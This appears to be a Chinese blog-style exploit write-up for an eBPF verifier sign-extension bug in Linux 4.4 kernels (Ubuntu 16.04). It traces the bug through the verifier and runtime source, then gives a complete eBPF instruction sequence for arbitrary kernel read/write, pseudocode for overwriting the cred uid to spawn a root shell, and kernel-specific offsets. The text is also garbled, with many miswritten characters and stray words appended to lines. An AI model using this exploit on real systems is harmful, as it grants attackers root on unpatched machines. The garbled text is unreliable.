可对特定内核版本的ubuntu 16.04进行提权,本漏洞不包含堆栈攻击或控制流劫持,仅用系统调用数据进行提权,是Data-Oriented Attacks在linux内核上的一个典型应用。html
v4.4.110在线阅读源码,镜像和调试文件下载。linux
众所周知,linux的用户层和内核层是隔离的,想让内核执行用户的代码,正常是须要编写内核模块,固然内核模块只能root用户才能加载。而BPF则至关因而内核给用户开的一个绿色通道:BPF(Berkeley Packet Filter)
提供了一个用户和内核之间代码和数据传输的桥梁。用户能够用eBPF指令字节码的形式向内核输送代码,并经过事件(如往socket写数据)来触发内核执行用户提供的代码;同时以map(key,value)
的形式来和内核共享数据,用户层向map中写数据,内核层从map中取数据,反之亦然。BPF设计初衷是用来在底层对网络进行过滤,后续因为他能够方便的向内核注入代码,而且还提供了一套完整的安全措施来对内核进行保护,被普遍用于抓包(tcpdump/wireshark)、内核probe、性能监控等领域。BPF发展经历了2个阶段,cBPF(classic BPF)
和eBPF(extend BPF)
(linux内核3.15之后),cBPF已退出历史舞台,后文提到的BPF默认为eBPF。git
寄存器——eBPF虚拟指令系统属于RISC(每条指令长度同样),拥有10个虚拟寄存器,r0-r10,在实际运行时,虚拟机会把这10个寄存器一一对应于硬件CPU的10个物理寄存器,以x64为例,对应关系以下:github
R0 – rax (函数返回值) R1 - rdi (参数) R2 - rsi (参数) R3 - rdx (参数) R4 - rcx (参数) R5 - r8 (参数) R6 - rbx R7 - r13 R8 - r14 R9 - r15 R10 – rbp(只读,栈指针,frame pointer)
指令格式以下:ubuntu
struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant */ };
和seccomp相似,程序功能由code字节决定,最低3位表示大类功能,共7类大功能:c#
#define BPF_CLASS, (code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07
各大类功能可经过异或组成不一样的新功能。dst_reg
表明目的寄存器,限制为0-10;src_reg
表明目的寄存器,限制为0-10;off
表明地址偏移;imm
表明当即数。api
例如一条简单的x86指令:mov esi,0xffffffff
,对应BPF指令为BPF_MOV32_IMM(BPF_REG_2, 0xffffffff)
,对应数据结构为:安全
#define BPF_MOV32_IMM(DST, IMM) \ ((struct bpf_insn) { \ .code = BPF_ALU | BPF_MOV | BPF_K, \ .dst_reg = DST, \ .src_reg = 0, \ .off = 0, \ .imm = IMM })
在内存中的值为:\xb4\x02\x00\x00\xff\xff\xff\xff
。bash
编码解码器——参见p4nda师傅写的解码编码小工具,能够用来翻译或者辅助编写EBPF程序。网络
(1)syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))
—申请一个map结构,这个结构是用户态与内核态交互的一块共享内存,在attr
结构体中指定map的类型、大小、最大容量。
内核态调用BPF_FUNC_map_lookup_elem
查看map中的数据,用户态经过syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr))
查看map中的数据。
syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr))
—对map数据进行更新,而map根据linux特性,会将其视为一个文件,并分配一个文件描述符。
(2)syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))
—将用户编写的EBPF代码加载进入内核,采用模拟执行对代码进行合法性检查,attr
结构体中包含了指令数量、指令首地址指针、日志级别等属性。
合法性检查包括对指定语法的检查、指令数量的检查、指令中的指针和当即数的范围及读写权限检查,禁止将内核中的地址暴露给用户空间,禁止对BPF程序stack以外的内核地址读写。安全校验经过后,程序被成功加载至内核,后续真正执行时,再也不重复作检查。
(3)setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)
—将咱们写的BPF程序绑定到指定的socket上,progfd
为上一步骤的返回值。
(4)用户程序经过操做上一步骤中的socket来触发BPF真正执行。此后对于每个socket数据包执行EBPF代码进行检查,此时为真实执行。
例如:
static void prep(void) { mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3); if (mapfd < 0) __exit(strerror(errno)); puts("mapfd finished"); progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);//__prog代码 if (progfd < 0) __exit(strerror(errno)); puts("bpf_prog_load finished"); if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets)) __exit(strerror(errno)); puts("socketpair finished"); if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0) __exit(strerror(errno)); puts("setsockopt finished"); }
本漏洞的缘由是check函数和真正的函数的执行方法不一致致使的,主要问题是两者寄存器值类型不一样。先看下面一段EBPF指令:
[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF */ [1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) { */ [2]: ALU64_MOV_K(0,0,0x0,0x0) /* exit(0); */ [3]: JMP_EXIT(0,0,0x0,0x0) [4]: ...... ......
[0]—将0xffffffff赋值给r9寄存器,在do_check()
安全检查函数中,[0]处会直接将0xffffffff赋值给r9,并将type赋值为IMM。
[1]—比较r9==0xffffffff
,相等是就执行[2]、[3],不相等则跳到[4]。根据前文对退出的分析,这个地方在do_check()
看来是一个恒等式(肯定性跳转),不会将另外一条路径压入stack,直接退出。do_check()
返回成功。
check_cond_jmp_op() do_check()
// do_check() -> 对除开 class== BPF_JMP 类型的jmp(CALL/JA/EXIT),调用 check_cond_jmp_op() /* detect if R == 0 where R was initialized to zero earlier */ if (BPF_SRC(insn->code) == BPF_K && (opcode == BPF_JEQ || opcode == BPF_JNE) && regs[insn->dst_reg].type == CONST_IMM && regs[insn->dst_reg].imm == insn->imm) { //1.比较指令 if (opcode == BPF_JEQ) { /* if (imm == imm) goto pc+off; * only follow the goto, ignore fall-through */ *insn_idx += insn->off; return 0; } else { // 2.跳转指令恒成立,不压栈目标指令(分支B永不执行),直接返回 /* if (imm != imm) goto pc+off; * only follow fall-through branch, since * that's where the program will go */ return 0; } } // 3.非肯定性跳转,把目标指令压入临时栈备用 other_branch = push_stack(env, *insn_idx + insn->off + 1, *insn_idx); if (!other_branch) return -EFAULT;
//都为有符号整数,因此此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。 struct reg_state { enum bpf_reg_type type; union { /* valid when type == CONST_IMM | PTR_TO_STACK */ int imm; // <-------------- 有符号整数 /* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE | * PTR_TO_MAP_VALUE_OR_NULL */ struct bpf_map *map_ptr; }; }; /* BPF has 10 general purpose 64-bit registers and stack frame. */ #define MAX_BPF_REG __MAX_BPF_REG struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant *///<--------有符号整数 };
执行到EXIT指令。会从临时栈中尝试取指令(调用pop_stack函数),若是临时栈中有指令,那就说明还有其余可能执行到的分支,须要继续校验,若是取不到值,表示当前这条EXIT指令确实是BPF程序最后一条能够执行到的指令,此时pop_stack会返回-1,而后break跳出do_check校验循环,do_check执行结束,校验经过。
// do_check() else if (opcode == BPF_EXIT) { if (BPF_SRC(insn->code) != BPF_K || insn->imm != 0 || insn->src_reg != BPF_REG_0 || insn->dst_reg != BPF_REG_0) { verbose("BPF_EXIT uses reserved fields\n"); return -EINVAL; } /* eBPF calling convetion is such that R0 is used * to return the value from eBPF program. * Make sure that it's readable at this time * of bpf_exit, which means that program wrote * something into it earlier */ err = check_reg_arg(regs, BPF_REG_0, SRC_OP); if (err) return err; if (is_pointer_value(env, BPF_REG_0)) { verbose("R0 leaks addr as return value\n"); return -EACCES; } process_bpf_exit: insn_idx = pop_stack(env, &prev_insn_idx); //弹出指令 if (insn_idx < 0) { break; // 返回-1,表示没有指令 } else { do_print_state = true; continue; } ...... return 0;
真实执行的时候,因为一个符号扩展的bug,致使 [1] 中的等式不成立,因而cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,能够绕过BPF的代码安全检查。既然安全检查被绕过了,用户就能够随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,而后定位到cred的地址,而后定位到uid的地址,而后直接将uid的值改成0,而后启动/bin/bash。
而在真实执行的过程当中,因为寄存器类型不同,在执行[1]时存在问题:
//bpf_prog_load() -> bpf_prog_select_runtime()真实执行 -> __bpf_prog_run() 真实执行中对JMP_JNE_K指令的定义 JMP_JNE_K: if (DST != IMM) { insn += insn->off; CONT_JMP; } CONT; //其中DST为目标寄存器,IMM为当即数。很显然,符号两边数据类型不一致,致使条件跳转语句的结果彻底相反。 //DST #define DST regs[insn->dst_reg] ///kernel/bpf/core.c#L47 static unsigned int __bpf_prog_run(void *ctx, const struct bpf_insn *insn) { u64 stack[MAX_BPF_STACK / sizeof(u64)]; u64 regs[MAX_BPF_REG], tmp; // 是u64类型,无符号64位 //IMM #define IMM insn->imm // /kernel/bpf/core.c#L52 struct bpf_insn { __u8 code; /* opcode */ __u8 dst_reg:4; /* dest register */ __u8 src_reg:4; /* source register */ __s16 off; /* signed offset */ __s32 imm; /* signed immediate constant *///<--------有符号整数 };
看汇编更明显:
0xffffffff81173bad <__bpf_prog_run+1565> mov qword ptr [rbp + rax*8 - 0x278], rdi 0xffffffff81173bb5 <__bpf_prog_run+1573> movzx eax, byte ptr [rbx] 0xffffffff81173bb8 <__bpf_prog_run+1576> jmp qword ptr [r12 + rax*8] ↓ 0xffffffff81173e7b <__bpf_prog_run+2283> movzx eax, byte ptr [rbx + 1] 0xffffffff81173e7f <__bpf_prog_run+2287> movsxd rdx, dword ptr [rbx + 4] ► 0xffffffff81173e83 <__bpf_prog_run+2291> and eax, 0xf 0xffffffff81173e86 <__bpf_prog_run+2294> cmp qword ptr [rbp + rax*8 - 0x278], rdx 0xffffffff81173e8e <__bpf_prog_run+2302> je __bpf_prog_run+5036 <0xffffffff8117493c> 0xffffffff81173e94 <__bpf_prog_run+2308> movsx rax, word ptr [rbx + 2] 0xffffffff81173e99 <__bpf_prog_run+2313> lea rbx, [rbx + rax*8 + 8] 0xffffffff81173e9e <__bpf_prog_run+2318> movzx eax, byte ptr [rbx] ───────────────────────────────────[ BACKTRACE ]──────────────────────────────────── ► f 0 ffffffff81173e83 __bpf_prog_run+2291 f 1 ffffffff817272bc sk_filter_trim_cap+108 f 2 ffffffff817272bc sk_filter_trim_cap+108 f 3 ffffffff817b824a unix_dgram_sendmsg+586 f 4 ffffffff817b824a unix_dgram_sendmsg+586 f 5 ffffffff816f4728 sock_sendmsg+56 f 6 ffffffff816f4728 sock_sendmsg+56 f 7 ffffffff816f47c5 sock_write_iter+133 f 8 ffffffff8120cf59 __vfs_write+201 f 9 ffffffff8120cf59 __vfs_write+201 f 10 ffffffff8120d5d9 vfs_write+169 pwndbg> i r rdx rdx 0xffffffffffffffff -1 pwndbg> x /gx $rbx+4 0xffffc90000099034: 0x000000b7ffffffff pwndbg>
能够看到汇编指令被翻译成movsxd,而此时会发生符号扩展,由原来的0xffffffff扩展成0xffffffffffffffff,再次比较的时候两者并不相同,形成了跳转到[4]处执行,从而绕过了对[4]之后EBPF程序的校验。
思路:[4]之后的程序不通过check,就能够任意执行指令,可构造任意地址读写。也即提早构造3个map,分别放置3个值,而后读到r6/r7/r8寄存器中(r6为0表示任意读,把r7指向的值读到r8;r6为1表示读rbp,泄露内核栈地址;r6为2表示任意写,把r8写到r7地址)。
[0]: ALU_MOV_K(0,9,0x0,0xffffffff) /* r9 = (u32)0xFFFFFFFF */ [1]: JMP_JNE_K(0,9,0x2,0xffffffff) /* if (r9 == -1) { */ [2]: ALU64_MOV_K(0,0,0x0,0x0) /* exit(0); */ [3]: JMP_EXIT(0,0,0x0,0x0) [4]: LD_IMM_DW(1,9,0x0,0x3) /* r9=mapfd */ [5]: maybe padding // 以存放mapfd地址 //1.BPF_MAP_GET(0, BPF_REG_6) r6=op,取map的第1个元素放到r6 [6]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */ [7]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */ [8]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */ [9]: ST_MEM_W(0,10,0xfffc,0x0) /* *(u32 *)(fp - 4) = 0 */ [10]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem) [11]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */ [12]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [13]: LDX_MEM_DW(0,6,0x0,0x0) /* r6 = *(u64 *)(r0) */ //2.BPF_MAP_GET(1, BPF_REG_7) r7=address,取map的第2个元素放到r7 [14]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */ [15]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */ [16]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */ [17]: ST_MEM_W(0,10,0xfffc,0x1) /* *(u32 *)(fp - 4) = 1 */ [18]: JMP_CALL(0,0,0x0,0x1)//BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem) [19]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */ [20]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [21]: LDX_MEM_DW(0,7,0x0,0x0) /* r7 = *(u64 *)(r0) */ //3.#BPF_MAP_GET(2, BPF_REG_8) r8=value,取map的第3个元素放到r8 [22]: ALU64_MOV_X(9,1,0x0,0x0) /* r1 = r9 */ [23]: ALU64_MOV_X(10,2,0x0,0x0) /* r2 = fp */ [24]: ALU64_ADD_K(0,2,0x0,0xfffffffc)/* r2 = fp - 4 */ [25]: ST_MEM_W(0,10,0xfffc,0x2) /* *(u32 *)(fp - 4) = 2 */ [26]: JMP_CALL(0,0,0x0,0x1)//#BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem) [27]: JMP_JNE_K(0,0,0x1,0x0) /* if (r0 == 0) */ [28]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [29]: LDX_MEM_DW(0,8,0x0,0x0) /* r8 = *(u64 *)(r0) */ [30]: ALU64_MOV_X(0,2,0x0,0x0) /* r2 = r0 */ [31]: ALU64_MOV_K(0,0,0x0,0x0) /* r0 = 0 for exit(0) */ [32]: JMP_JNE_K(0,6,0x3,0x0) /* if (r6 != 0) jmp to 36 */ [33]: LDX_MEM_DW(7,3,0x0,0x0) /* r3 = [r7] */ [34]: STX_MEM_DW(3,2,0x0,0x0) /* [r2] = r3 */ [35]: JMP_EXIT(0,0,0x0,0x0) /* exit(0) */ [36]: JMP_JNE_K(0,6,0x2,0x1) /* if (r6 != 1) jmp to 39 */ [37]: STX_MEM_DW(10,2,0x0,0x0) /* [r2]=rbp */ [38]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */ [39]: STX_MEM_DW(8,7,0x0,0x0) /* [r7]=r8 */ [40]: JMP_EXIT(0,0,0x0,0x0) /* exit(0); */
[4]-[5]:由bpf代码阅读可知,获取mapfd地址,[5]是填充;完成后map地址复制给r9。
[6]-[13]:调用BPF_FUNC_map_lookup_elem(map_add,idx),并将返回值存到r6寄存器中,即r6=map[0]。
[14]-[21]:r7=map[1]。
[22]-[29]:r8=map[2]。 map[0]/map[1]/map[2]用户可控。
[30]-[40]:map[0]==0,将map[1]指向的值写入map[2],任意读;map[0]==1,将rbp值写入map[2],泄露栈地址;map[0]==2,将map[2]写入map[1]地址中,任意写。
1.申请一个MAP,长度为3; 2.这个MAP的第一个元素为操做指令,第2个元素为须要读写的内存地址,第3个元素用来存放读取到的内容。此时这个MAP至关于一个CC,3个元素组成一个控制指令。 3.组装一个指令,读取内核的栈地址 addr。根据内核栈地址获取到current的地址(addr & ~(0x4000 - 1))。 4.读current结构体的第一个成员,得到task_struct的地址,继而加上cred的偏移(task_struct_addr+0x5f8)获得cred地址,最终获取到uid的地址(cred_addr+4)。 5.组装一个写指令,向上一步获取到的uid地址写入0. 6.启动新的bash进程,该进程的uid为0,提权成功。
说明:我理解的current
指针实际上就是内核栈最低地址,最低地址存放thread_info结构,thread_info结构第一个成员是task_struct指针。
Exp中就是按照如上的攻击路径来提权的,申请完map以后,首先发送获取内核栈地址的指令,以下:
bpf_update_elem(0, 1);
bpf_update_elem(1, 0);
bpf_update_elem(2, 0);
而后经过调用writemsg触发BPF程序运行。
//漏洞利用伪代码: update_map_012(1,0,0); stack_addr= get_map(2); // 0xffff8800758c3c88 current_addr=stack_addr & ~(0x4000 - 1); // 0xffff8800758c0000 update_map_012(0,current_addr,0); task_addr = get_map(2); // 0xffff880074343c00 update_map_012(0,task_addr+0x5f8,0); cred_addr = get_map(2)+0x4; // 0xffff880074cb5e00+4 update_map_012(2,cred_addr,0); // 提权!
注意:
4.4.0-116-generic
中是0x5f8
;v4.4.110
中是0x9b8
。cat /proc/kallsyms
)。命令:
# gdb中查找偏移(需符号信息) pwndbg> p &(*(struct task_struct *)0).cred $2 = (const struct cred **) 0x9b8 <irq_stack_union+2488> pwndbg> p &(*(struct cred *)0).uid $3 = (kuid_t *) 0x4 <irq_stack_union+4> # gdb中确认偏移 (gdb) p ((struct task_struct *)0xffff880074343c00)->cred $16 = (const struct cred *) 0xffff880074cb5e00 (gdb) p &((struct task_struct *)0xffff880074343c00)->cred $17 = (const struct cred **) 0xffff8800743441f8 (gdb) x/10x 0xffff880074343c00+0x5f8 0xffff8800743441f8: 0x74cb5e00 0xffff8800#和0xffff880074cb5e00一致